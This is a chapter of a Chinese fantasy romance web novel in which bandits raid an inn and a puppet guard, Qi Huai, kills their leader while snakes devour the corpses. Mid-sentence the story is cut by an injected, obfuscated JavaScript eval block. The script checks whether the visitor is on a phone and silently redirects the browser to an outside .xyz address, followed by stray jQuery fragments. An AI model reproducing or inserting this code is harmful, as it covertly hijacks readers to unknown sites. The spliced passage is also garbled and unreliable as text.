几名彪形大汉闯进门来,踹翻了近处的几张木桌,客栈里顿时乱作一片。
这群马贼少说也有二十余人。
店内本就不多的十来个客人吓得缩成一团,掌柜和小二早躲到了柜台后面,拼命比划着手势示意众人噤声。
“把钱财都交出来!”为首的马贼厉声喝道,“交不出的,死!”
一个大汉揪住跑得最慢的文弱书生,手起刀落,鲜血喷溅的刹那,几声短促的惊叫被掐断在喉咙中。
“小姐,当心。”青栀压低嗓音,将宁瑶护在身后又退了几步。
宁瑶心跳如擂,下意识摸向腰间的玉佩。赶忙咬了两口饼子塞进嘴里,嘴慢无。
动作慢,就要吃亏了。
二十多个人,以多欺少。
她左右一张望,见祁淮不知何时已经漫不经心地朝她这儿挪了几步,恰好将她的身影遮得严严实实。
宁瑶从他肩后悄悄探出半个脑袋,小声问:“青栀,你打得过吗?”
青栀是练过武的练家子,如今已是练气三层。
她扫过马贼中的几个修炼者,察觉对方修为高出自己不少,再加上人多势众,她悄然握紧了本命长剑。
“可一试。若是一会动起手来,你这个傀儡找机会带小姐先走。”
祁淮懒洋洋地掀了掀眼皮,指尖漫不经心地摩挲着腰间的四角铃铛。辫子上铃铛随着他歪头的动作叮当一声。
没有开口,只当应答了。
“青栀,我们先交钱,多一事不如少一事。”
沉甸甸的荷包塞进负手而立的祁淮掌心,宁瑶用眼神示意他送上前,悄悄地拉着青栀退后一步。
感受她指尖无意中划过自己微凉的掌心,垂眸凝视那一点转瞬即逝的痕迹,唇角无声地勾起,眸光暗自注意到她们后退的小动作。
祁淮漆黑的眼底暗流涌动,偏头来轻挑了下眉梢。
马贼头子见一群人吓得魂不附体,正哈哈大笑,目光扫过人群时猛地定格在三人身上。
容貌实在太出众,想不注意都难。
角落中身形极力掩藏,两人将背后一抹鹅黄身影护在身后,衣料一看就价值不菲。
“你们两个滚开。藏了什么好东西,让老子瞧瞧。”
“离我家小姐远点。”青栀长剑出鞘,格开那只探来的脏手,当即与之缠斗在一处。
马贼们顿时围拢过来,对两人形成包围之势。
宁瑶无处可退,祁淮纹丝不动地站在原地,索性整个人躲在他身后。
这个护卫傀儡的实力深浅不知,她忍不住拽了拽他的衣角,“你实力如何?”
祁淮还未作答,就被一声暴喝打断,顿时不愉。
眼波深处满是晦暗不清又浓烈的杀机,视线轻飘飘在马贼头子身形暗沉一瞬。
剩下马贼顿感胜券在握,一拥而上。客栈里顿时乱成一片,人人自保。
见马贼头目实力强横,青栀已是勉力支撑缠斗,宁瑶趁乱欲先能救人再奔逃。
“找机会救人,祁淮。”
祁淮摸了摸腰间铃铛,侧眸望着宁瑶的身影,眼底掠过一丝不解。
救?
全杀了,不就清净了。
宁瑶指尖刚触到腰间玉佩,两枚钢珠球大小的玄黑球体便悄然滑入掌心,这是她亲手改良的修真界“惊雷珠”。
正欲扬手掷出,奔逃的人群猛地撞上她肩头,她踉跄半步,珠体脱手飞出的刹那,一只冰冷的手突然自背后狠狠推了她一把。
“抓住她,快抓住她!”有人企图祸水东引以求活命,话音未落,便已身首异处。
宁瑶眼看要摔倒,她只觉得眼前一花,脱手的惊雷珠爆炸,爆炸声她怔怔抬眸时,撞进祁淮幽深的眼底。
一只微凉而宽大的手扶住了她,银铃在她耳畔清脆一响。
手指轻滑过她手腕的肌肤,温度若有似无,声音却带着几分漫不经心的笑意:“主人,要我救人吗?”
说话间,他视线懒懒扫过青栀,仿佛不过是在问今日天气如何。
宁瑶点头,尚未答话,马贼头目已击退青栀,转而目光淫邪地将宁瑶上下打量:“果然是个美人胚子,不如跟老子回去做压寨——”
“闭嘴。”宁瑶蹙眉打断。
她话音刚落,祁淮已鬼魅般掠至他身前。
“咔嚓”一声极轻的脆响,伴随发辫铃铛声。
马贼头目甚至来不及发出半点声响。
最后映入眼中的是那张雌雄莫辨的俊容上仍挂着一抹温良浅笑。
少年漫不经心地松开五指,头目双目圆睁,“咚”地一声倒地。幽深的视线瞧着他滑倒的尸身俯下身,唇角弯起极浅的弧度,声音凉如寒泉:
“为什么要打断她说话呢?嗯?”
——该死。
头目临终前的最后一个念头:原是祸从口出。
宁瑶瞳孔微缩,心底骇然。
护身傀儡的实力,竟远比她想象的更为可怕。
下一刻,一阵阴风毫无征兆地卷入客栈。
宁瑶被风吹得衣袂猎猎作响,几乎站立不稳。
四周惊叫四起,桌翻凳倒,混乱间却似有一阵极细微的窸窣声从远及近。
“闭上眼,主人。”
微凉的掌心忽地覆上她的双眼,视野骤然一暗,身后贴来一道熟悉的温度。
祁淮低语时,唇瓣似有若无地擦过她的耳畔,又粘稠蛊惑,又似清风。
风中弥漫的血腥气愈发浓重,响起令人牙酸的啃噬声。
宁瑶忍不住从祁淮指缝间偷瞧一眼,顿时骇得屏住呼吸,下意识往他怀里动了动。
我去。
这么多的蛇虫,这里马上要变成什么昆虫博物馆吗?
满地蛇虫正蠕动着爬过马贼的尸身,所过之处只余森森白骨,泛着幽冷的光。
一条碗口粗的白蛇倏然游至她脚边,冰凉的鳞片似擦过她的绣鞋,惊得宁瑶提裙退后一步,脊背不经意间贴合在祁淮怀中。
银饰轻撞发出细响。
祁淮呼吸一滞。
熟悉又清甜的暖香又一次漫入鼻腔。
他垂下眼帘,目光从她柔软的发顶缓缓游移,最终落在他亲手为她编起的细辫上。
抬手重新遮住她的的眼睛,掌心清晰地感受到她睫毛像蝶翼般轻颤,一下又一下,挠得他心底发痒。
掌心微微用力,完全将她纳入自己怀中化作所有物,喉结滚动,似在低哑的轻哄:“别怕。”
说着一个漆黑又寒意的眼风扫去,白蛇竟通灵般盘起身子,冲宁瑶摇了摇蛇尾,旋即爬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489852|185801||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走消失在客栈门外。
宁瑶惊魂未定,拽住身前少年的衣袖,拿下他的手追问:“方才为何不出手?”
“主人未言,我便不动。”
宁瑶若有所思地眨了眨眼。
原来“傀儡”不是不救,是只肯听她的话才动。
意识到两人贴地太近,宁瑶一步便走出少年保护范围,眼上一松,又见光亮,她提裙赶紧抽身离开,弯腰去扶昏迷的青栀。
无人瞧见的“傀儡”腰间银铃无声自颤,瞧着自己空落落的掌心,似有余温未散,握拳企图回味最后的温度。
他眼底掠过一丝阴郁的暗光。
这间破旧客栈里,除了掌柜缩在柜台后跌坐呻吟,其余人逃的逃,死的死。
宁瑶扶住脸色惨白昏迷的青栀,抬头急问:“掌柜,最近的大夫在哪寻?”
掌柜大腿洇着血,瘫坐在地上,嚎得两嗓子才说:“翻过后面那座山就是小镇,可我这腿也受了伤,天杀的麻子竟丢下我跑了。小姐公子行行好,后院还有辆马车,带我一道走吧。”
祁淮转身往后院去,不过片刻,他悄无声息地回来,小声回答:“主人,车备好了。”
四人驾着马车颠簸蹿过山路,抵达小镇时已是暮色四合。
老大夫替掌柜与青栀包扎完毕,又皱着眉转身对两人道:“这位姑娘腿伤太重,若不寻来再生丹续接经脉。即便老夫正骨,日后也姑娘难免落下病根,修为再难精进。”
宁瑶捏了捏荷包里仅剩的银两,一咬牙:“得送青栀回皇城治腿。”
青栀恰好醒来,睫毛颤了颤,攥住宁瑶衣袖摇头:“不可,小姐。路途尚且艰难,怎能再为我花费……”
“听话,”宁瑶掰开她的手指,语气却软下来,“你回皇城不是闲着,替我盯紧王氏那对儿女。他们往日下的绊子,我可都记着呢。”
限制文里王氏一双儿女给她下了不少绊子,现下逃离宅院剧情,总是盯紧些为好。
青栀本不愿作为宁瑶的拖累,这下有了重要事情吩咐,对回去不再抵触。
宁瑶将大半银两塞给大夫,又安排雇了辆马车,嘱托车夫速送青栀回皇城。
转身时一枚碎银塞进祁淮掌心,宁瑶一双亮眸眨了眨:“放心吧,够咱们撑到儋城的钱庄,我不会省你吃喝的。”
见宁瑶乐观模样,青栀抿嘴一笑,眼底满是光亮,“小姐,我定不负嘱托。”
祁淮默不作声收拢手指,目光掠过宁瑶的侧影,一条小蛇盘在白皙到透出血管的手腕,又飞速爬回。
他安抚在铃铛拂过指尖,四角铃无声地晃了晃。
宁瑶挥手送别马车逐渐离去,不舍地收回眸光。
现在身边只剩下个闷油瓶的“傀儡”了。
她虽不是个话唠,毕竟身边没了人,总是难免有些寂寞。这是她第一次离开了熟悉的人,身处陌生的环境跟随陌生的……甚至不能算作人的“傀儡”。
不过好在少年听话。
似注意到少女投来的微妙眼神,祁淮暗自靠近她半步,眸底是深藏不露的雀跃,“主人?”
如今只剩下他们二人了。
宁瑶眸光悄然流转在祁淮的脸颊,决定暂时先原谅世界一秒。
毕竟这么好看的一张脸,又……还会照顾她,保护她。